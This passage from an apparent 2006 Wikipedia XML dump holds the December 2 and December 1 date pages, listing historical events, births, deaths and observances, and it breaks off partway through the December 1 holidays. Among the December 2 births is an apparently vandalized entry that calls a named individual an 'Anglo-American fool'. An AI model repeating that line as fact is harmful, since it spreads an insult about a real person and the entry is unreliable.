[[cy:3 Rhagfyr]]
[[da:3. december]]
[[de:3. Dezember]]
[[et:3. detsember]]
[[el:3 Δεκεμβρίου]]
[[es:3 de diciembre]]
[[eo:3-a de decembro]]
[[eu:Abenduaren 3]]
[[fo:3. desember]]
[[fr:3 décembre]]
[[fy:3 desimber]]
[[ga:3 Nollaig]]
[[gl:3 de decembro]]
[[ko:12월 3일]]
[[hr:3. prosinca]]
[[io:3 di decembro]]
[[id:3 Desember]]
[[ia:3 de decembre]]
[[is:3. desember]]
[[it:3 dicembre]]
[[he:3 בדצמבר]]
[[jv:3 Desember]]
[[ka:3 დეკემბერი]]
[[csb:3 gòdnika]]
[[ku:3'ê berfanbarê]]
[[la:3 Decembris]]
[[lt:Gruodžio 3]]
[[lb:3. Dezember]]
[[hu:December 3]]
[[mk:3 декември]]
[[ms:3 Disember]]
[[nap:3 'e dicembre]]
[[nl:3 december]]
[[ja:12月3日]]
[[no:3. desember]]
[[nn:3. desember]]
[[oc:3 de decembre]]
[[pl:3 grudnia]]
[[pt:3 de Dezembro]]
[[ro:3 decembrie]]
[[ru:3 декабря]]
[[se:Juovlamánu 3.]]
[[sco:3 December]]
[[sq:3 Dhjetor]]
[[scn:3 di dicèmmiru]]
[[simple:December 3]]
[[sk:3. december]]
[[sl:3. december]]
[[sr:3. децембар]]
[[fi:3. joulukuuta]]
[[sv:3 december]]
[[tl:Disyembre 3]]
[[tt:3. Dekäber]]
[[te:డిసెంబర్ 3]]
[[th:3 ธันวาคม]]
[[vi:3 tháng 12]]
[[tr:3 Aralık]]
[[uk:3 грудня]]
[[wa:3 d' decimbe]]
[[war:Disyembre 3]]
[[zh:12月3日]]
[[pam:Disiembri 3]]</text>
    </revision>
  </page>
  <page>
    <title>December 2</title>
    <id>8356</id>
    <revision>
      <id>41654403</id>
      <timestamp>2006-02-28T20:52:34Z</timestamp>
      <contributor>
        <username>Engineer Bob</username>
        <id>347689</id>
      </contributor>
      <comment>/* Births */ remove [[Michael McDonald (musician)]] -- birthdate is [[February 12]] according to his official website</comment>
      <text xml:space="preserve">'''[[December 2]]''' is the 336th day (337th in leap years) of the year in the [[Gregorian calendar]]. There are 29 days remaining.

{{DecemberCalendar}}

==Events==
*[[1409]] - The [[University of Leipzig]] opens.
*[[1755]] - The second [[Eddystone Lighthouse]] is destroyed by fire. 
*[[1804]] - At [[Notre Dame Cathedral]] in [[Paris]], [[Napoleon I of France|Napoleon Bonaparte]] is crowned as the first Emperor of [[France]] in a thousand years. 
*[[1805]] - [[Napoleonic Wars]]: [[Battle of Austerlitz]] - [[France| French]] troops  under [[Napoleon I of France|Napoleon]] defeat a joint [[Imperial Russia|Russo]]-[[Austrian Empire|Austria]]n force.  
*[[1823]] - [[Monroe Doctrine]]: US President [[James Monroe]] delivers a speech establishing [[United States|American]] neutrality in future European conflicts. 
*[[1845]] - [[Manifest Destiny]]: US President [[James K. Polk]] announces to Congress that the [[United States]] should aggressively expand into the West.  
*[[1848]] - [[Franz Josef I of Austria|Franz Josef I]] becomes [[Emperor of Austria]]. 
*[[1851]] - Newly-elected [[France|French]] President [[Charles Louis Bonaparte]] overthrows the [[French Second Republic|Second Republic]].
*[[1852]] - [[Napoleon III of France|Napoleon III]] becomes Emperor of France. 
*[[1859]] - Militant [[abolitionist]] leader [[John Brown (abolitionist)|John Brown]] is hanged for his [[October 16]]th raid on [[Harpers Ferry, West Virginia|Harper's Ferry]].  
*[[1867]] - In a [[New York City]] theater, British author [[Charles Dickens]] gives his first public reading in the [[United States]]. 
*[[1899]] - [[Philippine-American War]]: The [[Battle of Tirad Pass]], termed &quot;The Filipino Thermopylae&quot;, is fought. 
*[[1927]] - Following 19 years of [[Ford Model T]] production, the [[Ford Motor Company]] unveils the [[Ford Model A]] as its new automobile.  
*[[1930]] - [[Great Depression]]: US President [[Herbert Hoover]] goes before [[Congress]] and asks for a US$150 million public works program to help generate jobs and stimulate the [[economics|economy]]. 
*[[1939]] - [[New York City]]'s [[La Guardia Airport]] opens.  
*[[1942]] - [[Manhattan Project]]: A team led by [[Enrico Fermi]] initiate the first self-sustaining [[nuclear chain reaction]].
*[[1946]] - British Government invited four Indian leaders, [[Nehru]], [[Baldev Singh]], [[Jinnah]] and [[Liaquat Ali Khan]] to obtain the participation of all parties in the Constituent Assembly.
*[[1947]] - [[Jerusalem Riots of 1947]]: Riots break out in Jerusalem in response to the approval of the [[1947 UN Partition Plan]].
*[[1954]] - [[Red Scare]]: The [[United States Senate]] votes 65 to 22 to condemn [[Joseph McCarthy]] for &quot;conduct that tends to bring the Senate into dishonor and disrepute.&quot; 
*[[1961]] - In a nationally-broadcast speech, [[Cuba]]n leader [[Fidel Castro]] declares that he is a [[Marxist]]-[[Leninist]] and that Cuba is going to adopt [[Communism]].  
*[[1962]] - [[Vietnam War]]: After a trip to [[Vietnam]] at the request of US President [[John F. Kennedy]], US Senate Majority Leader [[Mike Mansfield]] becomes the first American official to not make an optimistic public comment on the war's progress.  
*[[1970]] - The [[United States Environmental Protection Agency]] begins operations. 
*[[1971]] - [[Abu Dhabi]], [[Ajman]], [[Fujairah]], [[Sharjah]], [[Dubai]], and [[Umm Al Quwain]] form the [[United Arab Emirates]].
*[[1972]] - [[Edward Gough Whitlam|Gough Whitlam]] becomes the first [[Australian Labor Party]] [[Prime Minister]] of [[Australia]] for 23 years. 
*[[1975]] - [[Pathet Lao]] seizes power in [[Kingdom of Laos|Laos]], and establishes the [[Lao People's Democratic Republic]].
*[[1980]] - Four U.S. nuns and churchwomen, [[Ita Ford]], [[Maura Clarke]], [[Jean Donovan]], and [[Dorothy Kazel]], are murdered by a [[death squad]] in [[El Salvador]].
*[[1982]] - At the [[University of Utah]], [[Barney Clark]] becomes the first person to receive a permanent [[artificial heart]].  
*[[1984]] - Bhopal Gas Tragedy in India
*[[1988]] - [[Benazir Bhutto]] is sworn in as [[Prime Minister of Pakistan]], becoming the first woman to head the government of an [[Islam]]-dominated state. 
*[[1990]] - A coalition led by Chancellor [[Helmut Kohl]] wins the first free all-[[Germany|German]] elections since [[1932]].  
*[[1991]] - [[Apple computer|Apple]] release the first version of [[QuickTime]].
*[[1993]] - [[Colombia]]n [[drug lord]] [[Pablo Escobar]] is shot and killed in [[Medellín]].  
*1993 - [[Space Shuttle program]]: [[STS-61]] - [[NASA]] launches the [[Space Shuttle Endeavour]] on a mission to repair the [[Hubble Space Telescope]].  
*[[1999]] - The [[United Kingdom]] devolves political power in [[Northern Ireland]] to the [[Northern Ireland Executive]].
*[[2000]] - [[The Smashing Pumpkins]] perform for the last time at The Metro in Chicago.
*[[2001]] - [[Enron]] files for [[Chapter 11 bankruptcy]].
*[[2004]] - [[Brian Williams (news anchor)|Brian Williams]] succeeds [[Tom Brokaw]] as host of ''[[NBC Nightly News]]''.
*[[2005]] - Microsoft's [[Xbox 360]] is launched in Europe.
*2005 - [[Van Tuong Nguyen]] is executed in [[Singapore]] for [[drug trafficking]].
*2005 - [[Kenneth Boyd]] becomes the 1,000th person to be executed in the United States since [[Capital punishment in the United States|capital punishment]] was reinstated in [[1976]].

==Births==
*[[1578]] - [[Agostino Agazzari]], Italian composer and music theorist (d. [[1640]])
*[[1694]] - [[William Shirley]], Colonial Governor of Massachusetts (d. [[1771]])
*[[1703]] - [[Ferdinand Konscak]], Croatian explorer (d. [[1759]])
*[[1710]] - [[Bertinazzi]], Italian actor and writer (d. [[1783]])
*[[1738]] - [[Richard Montgomery]], Irish-born soldier (d. [[1775]])
*[[1760]] - [[John Breckinridge]], American politician (d. [[1806]])
*[[1817]] - [[Heinrich von Sybel]], German historian (d. [[1895]])
*[[1825]] - Emperor [[Pedro II of Brazil]] (d. [[1891]])
*[[1846]] - [[Pierre Marie René Ernest Waldeck-Rousseau]], French statesman (d. [[1904]])
*[[1859]] - [[Georges Seurat]], French painter (d. [[1891]])
*[[1863]] - [[Charles Ringling]], American circus owner (d. [[1926]])
*[[1885]] - [[George Richards Minot]], American physician, recipient of the [[Nobel Prize in Physiology or Medicine|Nobel Prize]] (d. [[1950]])
*[[1886]] - [[Harry Burleigh]], American composer (d. [[1949]])
*[[1891]] - [[Otto Dix]], German painter and graphic artist (d. [[1969]])
*[[1892]] - [[Leo Ornstein]], Russian-born composer and pianist (d. [[2002]])
*[[1895]] - [[Harriet Cohen]], British pianist (d. [[1967]])
*[[1898]] - [[Indra Lal Roy]], Indian pilot (d. [[1918]])
*[[1899]] - [[John Barbirolli]], British conductor (d. [[1970]])
*[[1901]] - [[Raimundo Orsi]], Argentine-born footballer (d. [[1986]])
*[[1906]] - [[Peter Carl Goldmark]], Hungarian-born recording engineer (d. [[1977]])
*[[1914]] - [[Adolph Green]], American composer (d. [[2002]])
*1914 - [[Ray Walston]], American actor (d. [[2001]])
*[[1923]] - [[Maria Callas]], American soprano (d. [[1977]])
*[[1924]] - [[Alexander M. Haig, Jr.]], American soldier and politician
*[[1925]] - [[Julie Harris]], American actress
*[[1930]] - [[Gary Becker]], American economist, recipient of the [[Nobel Prize in Economics|Bank of Sweden Prize]]
*[[1931]] - [[Edwin Meese]], American politician
*[[1933]] - [[Michael Larrabee]], American athlete (d. [[2003]])
*1933 - [[K.Veeramani]], Indian anti-caste activist
*[[1934]] - [[Andre Rodgers]], baseball player (d. [[2004]])
*[[1935]] - [[David Hackett Fischer]], American historian
*[[1939]] - [[Yael Dayan]], Israeli writer and politician
*1939 - [[Harry Reid]], American politician
*[[1943]] - [[Wayne Allard]], American politician
*1943 - Brian Spencer Russell, Anglo-American fool
*[[1944]] - [[Ibrahim Rugova]], first [[President of Kosovo]] (d. [[2006]])
*1944 - [[Botho Strauss|Botho Strauß]], German author
*[[1945]] - [[Penelope Spheeris]], American film director
*[[1946]] - [[Gianni Versace]], Italian fashion designer (d. [[1997]])
*1946 - [[John Banks (New Zealand)|John Banks]], New Zealand politician
*[[1950]] - [[Bob Kevoian]], American radio personality
*[[1954]] - [[Dan Butler]], American actor
*1954 - [[Stone Phillips]], American television journalist
*[[1957]] - [[Dagfinn Høybråten]], Norwegian politician
*[[1958]] - [[Uladzimir Parfianovich]], Belarusian canoer
*[[1960]] - [[Rick Savage]], British bassist ([[Def Leppard]])
*[[1966]] - [[Jinsei Shinzaki]], Japanese professional wrestler
*[[1968]] - [[Lucy Liu]], American actress
*1968 - [[Nate Mendel]], American bassist ([[Foo Fighters]])
*1968 - [[Chris Wedge]], American animator
*[[1970]] - [[Sarah Silverman]], American comedian
*[[1972]] - [[Sergei Zholtok]], Latvian ice hockey player (d. [[2004]])
*[[1973]] - [[Monica Seles]], Yugoslavian-born tennis player
*1973 - [[Jan Ullrich]], German cyclist
*[[1978]] - [[Nelly Furtado]], Canadian singer and songwriter
*[[1979]] - [[Yvonne Catterfeld]], German singer and actress
*[[1981]] - [[Britney Spears]], American singer
*[[1982]] - [[Matt Ware]], American football player

==Deaths==
*[[1348]] - [[Emperor Hanazono]] of Japan (b. [[1297]])
*[[1381]] - [[John of Ruysbroeck]], Flemish mystic
*[[1463]] - Archduke [[Albert VI of Austria]] (b. [[1418]])
*[[1469]] - [[Piero di Cosimo de' Medici]], ruler of Florence (b. [[1416]])
*[[1515]] - [[Gonzalo Fernández de Córdoba]], Spanish general and statesman (b. [[1453]])
*[[1547]] - [[Hernán Cortés]], Spanish explorer and conqueror (b. [[1485]])
*[[1552]] - [[Francis Xavier]], Spanish Catholic missionary (b. [[1506]])
*[[1594]] - [[Gerardus Mercator]], Flemish cartographer (b. [[1512]])
*[[1665]] - [[Catherine de Vivonne, marquise de Rambouillet]], French socialite (b. [[1588]])
*[[1694]] - [[Pierre Paul Puget]], French artist (b. [[1622]])
*[[1719]] - [[Pasquier Quesnel]], French Jansenist theologian (b. [[1634]])
*[[1723]] - [[Philip II, Duke of Orléans]], regent of France (b. [[1674]])
*[[1726]] - [[Samuel Penhallow]], English-born American colonist and historian (b. [[1665]])
*[[1747]] - [[Vincent Bourne]], English classical scholar (b. [[1695]])
*[[1748]] - [[Charles Seymour, 6th Duke of Somerset]], English politician (b. [[1662]])
*[[1774]] - [[Johann Friedrich Agricola]], German composer and organist (b. [[1720]])
*[[1814]] - [[Donatien Alphonse Francois de Sade|Marquis de Sade]], French writer (b. [[1740]])
*[[1849]] - [[Adelaide of Saxe-Meiningen]], wife of [[William IV of the United Kingdom]] (b. [[1792]])
*[[1859]] - [[John Brown (abolitionist)|John Brown]], American abolitionist (hanged) (b. [[1800]])
*[[1860]] - [[Alfred Bunn]], British theatrical manager (b. [[1796]])
*[[1892]] - [[Jay Gould]], American entrepreneur (b. [[1836]])
*[[1918]] - [[Edmond Rostand]], French poet and dramatist (b. [[1868]])
*[[1931]] - [[Vincent d'Indy]], French composer (b. [[1851]])
*[[1943]] - [[Nordahl Grieg]], Norwegian author and journalist (b. [[1902]])
*[[1944]] - [[Josef Lhévinne]], Russian pianist (b. [[1874]])
*1944 - [[Filippo Tommaso Marinetti]], Italian writer (b. [[1876]])
*[[1950]] - [[Dinu Lipatti]], Romanian pianist (b. [[1917]])
*[[1957]] - [[Harrison Ford (silent film actor)|Harrison Ford]], American actor (b. [[1884]])
*1957 - [[Manfred Sakel]], Polish psychiatrist (b. [[1902]])
*[[1963]] - [[Thomas J. Hicks]], British-born runner (b. [[1875]])
*1963 - [[Sabu Dastagir]], Indian-born American actor (b. [[1924]])
*[[1966]] - [[Giles Cooper]], Irish-born playwright (b.[[1918]])
*[[1968]] - [[Adamson-Eric]] (Eric Adamson), Estonian painter (b. [[1902]])
*[[1969]] - [[Kliment Yefremovich Voroshilov]], Russian politician (b. [[1881]])
*[[1974]] - [[Max Weber (politician)|Max Weber]], Swiss Federal Councilor (b. [[1897]])
*[[1976]] - [[Danny Murtaugh]], baseball player and manager (b. [[1917]])
*[[1980]] - [[Chaudhry Muhammad Ali]], Prime Minister of [[Pakistan]] (b. [[1905]]) 
*1980 - [[Romain Gary]], Lithuanian-born French writer (b. [[1914]])
*[[1982]] - [[Marty Feldman]], British comedian, writer and actor (b. [[1933]])
*[[1983]] - [[Fifi d'Orsay]], Canadian actress (b. [[1904]])
*[[1985]] - [[Aniello Dellacroce]], American gangster  (b. [[1914]])
*1985 - [[Philip Larkin]], English writer and jazz critic (b. [[1922]])
*[[1986]] - [[Desi Arnaz]], Cuban-born actor, musician, band leader, and composer (b. [[1917]])
*[[1987]] - [[Luis Federico Leloir]], French-born chemist and [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1906]])
*1987 - [[Yakov Borisovich Zel'dovich]], Russian physicist (b. [[1914]])
*[[1988]] - [[Tata Giacobetti]], Italian singer and lyricist ([[Quartetto Cetra]])
*[[1990]] - [[Aaron Copland]], American composer (b. [[1900]])
*[[1993]] - [[Pablo Escobar]], Colombian drug dealer (b. [[1949]])
*[[1995]] - [[Robertson Davies]], Canadian novelist (b. [[1913]])
*[[1997]] - [[Shirley Crabtree]], British professional wrestler (b. [[1930]])
*[[2002]] - [[Ivan Illich]], Austrian priest and philosopher (b. [[1926]])
*2002 - [[Arno Peters]], German historian (b. [[1916]])
*[[2003]] - [[Alan Davidson (food writer)|Alan Davidson]], British  author (b. [[1924]])
*[[2004]] - [[Mona Van Duyn]], American poet (b. [[1921]])
*2004 - [[Alicia Markova]], British ballerina (b. [[1910]])
*[[2005]] - [[Van Tuong Nguyen]], Australian drug smuggler (hanged) (b. [[1980]])
*2005 - [[Kenneth Lee Boyd]], American convicted murderer (executed) (b. [[1948]])

==Holidays and observances==
*[[Calendar of Saints|R.C. Saints]] - [[St Bibiana]]
*[[Laos]] - [[National Day]]
*[[United Arab Emirates#Holidays|United Arab Emirates]] - [[National Day]] (independence from Britain, [[1971]])

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/2 BBC: On This Day]

----
[[December 1]] - [[December 3]] - [[November 2]] - [[January 2]] — [[historical anniversaries|listing of all days]]

{{months}}

[[af:2 Desember]]
[[ar:2 ديسمبر]]
[[an:2 d'abiento]]
[[ast:2 d'avientu]]
[[bg:2 декември]]
[[be:2 сьнежня]]
[[bs:2. decembar]]
[[br:2 Kerzu]]
[[ca:2 de desembre]]
[[ceb:Disyembre 2]]
[[cv:Раштав, 2]]
[[co:2 di decembre]]
[[cs:2. prosinec]]
[[cy:2 Rhagfyr]]
[[da:2. december]]
[[de:2. Dezember]]
[[et:2. detsember]]
[[el:2 Δεκεμβρίου]]
[[es:2 de diciembre]]
[[eo:2-a de decembro]]
[[eu:Abenduaren 2]]
[[fo:2. desember]]
[[fr:2 décembre]]
[[fy:2 desimber]]
[[gl:2 de decembro]]
[[ko:12월 2일]]
[[hr:2. prosinca]]
[[io:2 di decembro]]
[[id:2 Desember]]
[[ia:2 de decembre]]
[[is:2. desember]]
[[it:2 dicembre]]
[[he:2 בדצמבר]]
[[jv:2 Desember]]
[[ka:2 დეკემბერი]]
[[csb:2 gòdnika]]
[[ku:2'ê berfanbarê]]
[[la:2 Decembris]]
[[lt:Gruodžio 2]]
[[lb:2. Dezember]]
[[hu:December 2]]
[[mk:2 декември]]
[[ms:2 Disember]]
[[nap:2 'e dicembre]]
[[nl:2 december]]
[[ja:12月2日]]
[[no:2. desember]]
[[nn:2. desember]]
[[oc:2 de decembre]]
[[os:2 декабры]]
[[pl:2 grudnia]]
[[pt:2 de Dezembro]]
[[ro:2 decembrie]]
[[ru:2 декабря]]
[[se:Juovlamánu 2.]]
[[sco:2 December]]
[[sq:2 Dhjetor]]
[[sh:2.12.]]
[[scn:2 di dicèmmiru]]
[[simple:December 2]]
[[sk:2. december]]
[[sl:2. december]]
[[sr:2. децембар]]
[[fi:2. joulukuuta]]
[[sv:2 december]]
[[tl:Disyembre 2]]
[[tt:2. Dekäber]]
[[te:డిసెంబర్ 2]]
[[th:2 ธันวาคม]]
[[vi:2 tháng 12]]
[[tr:2 Aralık]]
[[uk:2 грудня]]
[[wa:2 d' decimbe]]
[[war:Disyembre 2]]
[[zh:12月2日]]
[[pam:Disiembri 2]]</text>
    </revision>
  </page>
  <page>
    <title>December 1</title>
    <id>8357</id>
    <revision>
      <id>42007259</id>
      <timestamp>2006-03-03T04:33:44Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Births */ removed redundant year link</comment>
      <text xml:space="preserve">&lt;!-- language links at the bottom of this page --&gt;
'''[[December 1]]''' is the 335th (in leap years the 336th) day of the year in the [[Gregorian calendar]]. There are 30 days remaining.

{{DecemberCalendar}}

==Events==
*[[1640]] - [[Portugal]] regains its independence from [[Spain]] and [[João IV of Portugal]] becomes king.  
*[[1822]] - [[Peter I of Brazil|Peter I]] is crowned as Emperor of [[Brazil]]. 
*[[1824]] - [[U.S. presidential election, 1824]]: Since no candidate received a majority of the total [[U.S. Electoral College|electoral college]] votes in the election, the [[United States House of Representatives]] is given the task to decide the winner (as stipulated by the [[Twelfth Amendment to the United States Constitution]]).
*[[1835]] - [[Hans Christian Andersen]] publishes first book of fairy tales
*[[1884]] - [[American Old West]] - Near Frisco, [[New Mexico]] (now [[Reserve, New Mexico|Reserve]]), deputy sheriff [[Elfego Baca]] holds off a gang of 80 Texan [[cowboy]]s who want to kill him for arresting [[Charles McCarthy]].
*[[1885]] - Although the exact date is unknown, the [[US Patent Office]] acknowledges December 1st, [[1885]] as the first day [[Dr Pepper]] was served.
*[[1913]] - [[Ford Motor Company]] introduces the first moving [[assembly line]].  
*[[1918]] - [[Iceland]] becomes a self-governing kingdom, yet remains united with [[Denmark]]. 
*1918 - [[Transylvania]] unites with [[Romania]], following the [[March 27]] incorporation of [[Bessarabia]] and [[Bucovina]].  
*1918 - The Kingdom of Serbs, Croats and Slovenes (later known as the [[Kingdom of Yugoslavia]]) is proclaimed.
*[[1919]] - [[Nancy Astor|Lady Astor]] becomes first female member of the British [[Parliament]] to take her seat (she had been elected to that position on [[November 28]]). 
*[[1925]] - [[World War I]] aftermath:  - The final [[Locarno Treaties|Locarno Treaty]] is signed in [[London]], establshing post-war territorial settlements.  
*[[1934]] - In the [[Soviet Union]], [[Politburo]] member [[Sergei Kirov]] is shot dead at the [[Communist Party]] headquarters in [[Saint Petersburg|Leningrad]] by [[Leonid Nikolayev]]. 
*[[1941]] - [[World War II]]: Mayor of [[New York City]], [[Fiorello LaGuardia]], and the director of the [[Office of Civilian Defense]], sign an order creating the  [[Civil Air Patrol]].  
*[[1944]] - [[Edward Stettinius Jr.]] becomes the last [[United States Secretary of State]] of the [[Franklin D. Roosevelt|Roosevelt]] administration. 
*[[1952]] - The ''[[New York Daily News]]'' reports the first successful [[sexual reassignment surgery|sexual reassignment]] operation.  
*[[1955]] - [[American Civil Rights Movement]]: In [[Montgomery, Alabama]], seamstress [[Rosa Parks]] refuses to give her bus seat to a white man and is arrested for violating the city's [[racial segregation]] laws, an incident which leads to the [[Montgomery Bus Boycott]]. 
*[[1958]] - [[Central African Republic]] becomes independent from [[France]]. 
*1958 - [[Our Lady of the Angels School Fire|Our Lady of the Angels School fire]] in [[Chicago, Illinois]] kills 92 children and three nuns.
*[[1959]] - [[Cold War]]: [[Antarctic Treaty]] signed , which sets aside [[Antarctica]] as a scientific preserve and bans military activity on that [[continent]]. 
*[[1961]] - The independent [[Republic of West Papua]] is proclaimed in modern-day [[Western New Guinea]].
*[[1963]] - [[Nagaland]] becomes the 16th state of [[India]].
*[[1964]] - [[Vietnam War]]: US President [[Lyndon B. Johnson]] and his top-ranking advisers meet to discuss plans to bomb [[North Vietnam]]. 
*[[1965]] - The [[Border Security Force]] is formed in [[India]] as a special force to guard the borders.
*[[1969]] - Vietnam War: The first [[draft lottery (1969)|draft lottery]] in the [[United States]] is held since [[World War II]].  
*[[1971]] - [[Cambodian Civil War]]: [[Khmer Rouge]] rebels intensify assaults on [[Cambodia]]n government positions, forcing their retreat from [[Kompong Thmar]] and nearby [[Ba Ray]]. 
*[[1973]] - [[Papua New Guinea]] gains self government from [[Australia]]. 
*[[1974]] - A [[Boeing 727]] carrying [[TWA Flight 514]] crashes northwest of [[Dulles International Airport]], killing all 92 people on-board. 
*[[1975]] - The long-running [[soap opera]] ''[[The Edge of Night]]'' switches networks to [[American Broadcasting Company|ABC]] after [[19 (number)|19]] years on [[CBS]].
*[[1981]] - A [[Socialist Federal Republic of Yugoslavia|Yugoslavian]] [[Inex Adria Aviopromet]] DC-9 crashes in [[Corsica]] killing 178. 
*[[1987]] - [[NASA]] announces the names of four companies who were awarded  contracts to help build [[Space Station Freedom]].  
*[[1989]] - Right-wing military rebel ''Reform the Armed forces Movement'' (RAM) attempt to oust [[President of the Philippines|Philippine President]] [[Corazon Aquino]] by a bloody [[coup d' etat|coup]] attempt.
*1989 - [[Cold War]]: [[East Germany]]'s parliament abolishes the constitutional provision granting the communist party the leading role in the state.  
*[[1990]] - [[Channel Tunnel]] sections started from the [[United Kingdom]] and [[France]] meet 40 meters beneath the seabed.  
*[[1991]] - [[Cold War]]: [[Ukraine|Ukrainian]] voters overwhelmingly approve a referendum for independence from the [[Soviet Union]].  
*[[1998]] - [[Exxon]] announces a US$73.7 billion deal to buy [[Mobil]], thus creating [[Exxon-Mobil]], the largest company on the planet.
*[[2000]] - [[Vicente Fox]] is sworn-in as [[President of Mexico]], ending the 75 year control of the [[Institutional Revolutionary Party|PRI]].
*[[2001]] - [[Trans World Airlines]] flies its last flight, after being bought by [[American Airlines]].
*[[2005]] - [[South Africa]]'s [[Constitutional Court of South Africa|Constitutional Court]] extends marriage equality to homosexual couples.

==Births==
*[[1081]] - King [[Louis VI of France]] (d. [[1137]])
*[[1083]] - [[Anna Comnena]], Byzantine historian (d. [[1153]])
*[[1521]] - [[Takeda Shingen]], Japanese warlord (d. [[1573]])
*[[1525]] - [[Tadeáš Hájek]], Czech physician and astronomer (d. [[1600]])
*[[1580]] - [[Nicolas-Claude Fabri de Peiresc]], French astronomer (d. [[1637]])
*[[1690]] - [[Philip Yorke, 1st Earl of Hardwicke]], [[Lord Chancellor|Lord Chancellor of England]] (d. [[1764]])
*[[1716]] - [[Etienne-Maurice Falconet]], French sculptor (d. [[1791]])
*[[1743]] - [[Martin Heinrich Klaproth]], German chemist (d. [[1817]])
*[[1766]] - [[Nikolai Mikhailovich Karamzin]], Russian writer (d. [[1826]])
*[[1792]] - [[Nikolai Ivanovich Lobachevsky]], Russian mathematician (d. [[1856]])
*[[1844]] - [[Alexandra of Denmark]], queen of [[Edward VII of the United Kingdom]] (d. [[1925]])
*[[1873]] - [[Valery Bryusov]], Russian poet (d. [[1924]])
*[[1886]] - [[Rex Stout]], American author (d. [[1975]])
*[[1895]] - [[Henry Williamson]], English author (d. [[1977]])
*[[1896]] - [[Georgy Zhukov]], Soviet general (d. [[1974]])
*[[1905]] - [[Alexander Wilson (athlete)|Alexander Wilson]], Canadian and Notre Dame athlete (d. [[1994]])
*[[1910]] - [[Alicia Markova]], English ballerina (d. [[2004]])
*[[1911]] - [[Walter Alston]], baseball manager (d. [[1984]])
*1911 - [[Calvin Griffith]], baseball executive (d. [[1999]])
*[[1912]] - [[Minoru Yamasaki]], American architect (d. [[1986]])
*[[1913]] - [[Mary Martin]], American actor and singer (d. [[1990]])
*[[1922]] - [[Paul Picerni]], American actor
*[[1923]] - [[Stansfield Turner]], American admiral and Central Intelligence Agency director
*[[1930]] - [[Joachim Hoffmann]], German historian (d. [[2002]])
*[[1932]] - [[Matt Monro]], English singer (d. [[1985]])
*[[1935]] - [[Woody Allen]], American film director, actor, and comedian
*1935 - [[Lou Rawls]], American singer (d. [[2006]])
*[[1938]] - [[Sandy Nelson]], American drummer
*[[1939]] - [[Lee Trevino]], American golfer
*[[1940]] - [[Richard Pryor]], American actor, comedian (d. [[2005]])
*[[1942]] - [[John Crowley]], American author
*[[1944]] - [[John Densmore]], American drummer ([[The Doors]])
*[[1945]] - [[Bette Midler]], American actress
*[[1946]] - [[Gilbert O'Sullivan]], Irish singer
*[[1948]] - [[George Foster (baseball player)|George Foster]], baseball player
*[[1949]] - [[Pablo Escobar]], Colombian [[drug lord]] (d. [[1993]])
*1949 - [[Sebastián Piñera]], Chilean businessman and presidential candidate
*[[1950]] - [[Keith Thibodeaux]], American actor and drummer
*[[1951]] - [[Jaco Pastorius]], American bassist (d. [[1987]])
*[[1959]] - [[Wally Lewis]], Australian rugby player
*[[1961]] - [[Jeremy Northam]], English actor
*[[1963]] - [[Arjuna Ranatunga]], Sri Lankan cricketer
*[[1971]] - [[Emily Mortimer]], English actress
*[[1974]] - [[Costinha]], Portuguese footballer
*[[1976]] - [[Matthew Shepard]], American murder victim (d. [[1998]])
*[[1977]] - [[Brad Delson]], American guitarist ([[Linkin Park]])
*[[1980]] - [[Mohammad Kaif]], Indian cricketer

==Deaths==
*[[1135]] - [[Henry I of England]]
*[[1241]] - [[Isabella of England]], wife of [[Frederick II, Holy Roman Emperor]] (b. [[1214]])
*[[1377]] - King [[Magnus II of Sweden]] (b. [[1316]])
*[[1433]] - [[Emperor Go-Komatsu of Japan]] (b. [[1377]])
*[[1455]] - [[Lorenzo Ghiberti]], Italian artist and metal smith (b. [[1378]])
*[[1521]] - [[Pope Leo X]] (b. [[1475]])
*[[1530]] - [[Margaret of Austria (1480-1530)|Margaret of Austria]], Regent of the Netherlands (b. [[1480]])
*[[1580]] - [[Giovanni Morone]], Italian cardinal (b. [[1509]])
*[[1581]] - [[Edmund Campion]], English Jesuit (martyred) (b. [[1540]])
*1581 - [[Ralph Sherwin]], English Catholic saint (b. [[1550]])
*[[1602]] - [[Kobayakawa Hideaki]], Japanese samurai and warlord (b. [[1582]])
*[[1633]] - [[Infanta Isabella Clara Eugenia of Spain]] (b. [[1566]])
*[[1660]] - [[Pierre d'Hozier]], French historian (b. [[1592]])
*[[1707]] - [[Jeremiah Clarke]], English composer (b. [[1674]])
*[[1709]] - [[Abraham a Sancta Clara]], Austrian preacher (b. [[1644]])
*[[1723]] - [[Susanna Centlivre]], English dramatist and actress
*[[1729]] - [[Giacomo F. Maraldi]], French-Italian astronomer (b. [[1665]])
*[[1750]] - [[Johan Gabriel Doppelmayr]], German mathematician, astronomer, and cartographer (b. [[1671]])
*[[1755]] - [[Maurice Greene (composer)|Maurice Greene]], English composer (b. [[1696]])
*[[1767]] - [[Henry Erskine, 10th Earl of Buchan]], British Freemason (b. [[1710]])
*[[1825]] - Tsar [[Alexander I of Russia]] (b. [[1777]])
*[[1830]] - [[Pope Pius VIII]] (b. [[1761]])
*[[1928]] - [[José Eustasio Rivera]], Colombian writer (b. [[1888]])
*[[1934]] - [[Sergei Kirov]], Russian revolutionary (b. [[1886]])
*[[1943]] - [[Damrong Rajanubhab]], Thai prince and historian (b. [[1862]])
*[[1947]] - [[Aleister Crowley]], English occultist (b. [[1875]])
*[[1950]] - [[E. J. Moeran]], English composer (b. [[1894]])
*[[1964]] - [[J. B. S. Haldane]], Scottish geneticist (b. [[1892]])
*[[1973]] - [[David Ben-Gurion]], first [[Prime Minister of Israel]] (b. [[1886]])
*[[1975]] - [[Nellie Fox]], baseball player (b. [[1927]])
*1975 - [[Anna E. Roosevelt]], American radio personality (b. [[1906]])
*[[1985]] - [[Alvin Ailey]], American dancer, choreographer (b. [[1931]])
*[[1987]] - [[James Baldwin (writer)|James Baldwin]], American writer (b. [[1924]])
*[[1991]] - [[George Joseph Stigler]], American economist, [[Nobel Prize in Economics|Bank of Sweden Prize]] winner (b. [[1911]])
*[[1997]] - [[Stéphane Grappelli]], French jazz violinist (b. [[1908]])
*[[2003]] - [[Clark Kerr]], first Chancellor of the University of California, Berkeley (b. [[1911]])
*[[2004]] - [[Prince Bernhard of the Netherlands]] (b. [[1911]])

==Holidays and observances==
* [[Portugal]] - Restauration of Independence Day: on December 1, 1640, Portugal regains its independence from Spain and João IV of Portugal becomes king. 
* [[Iceland]]
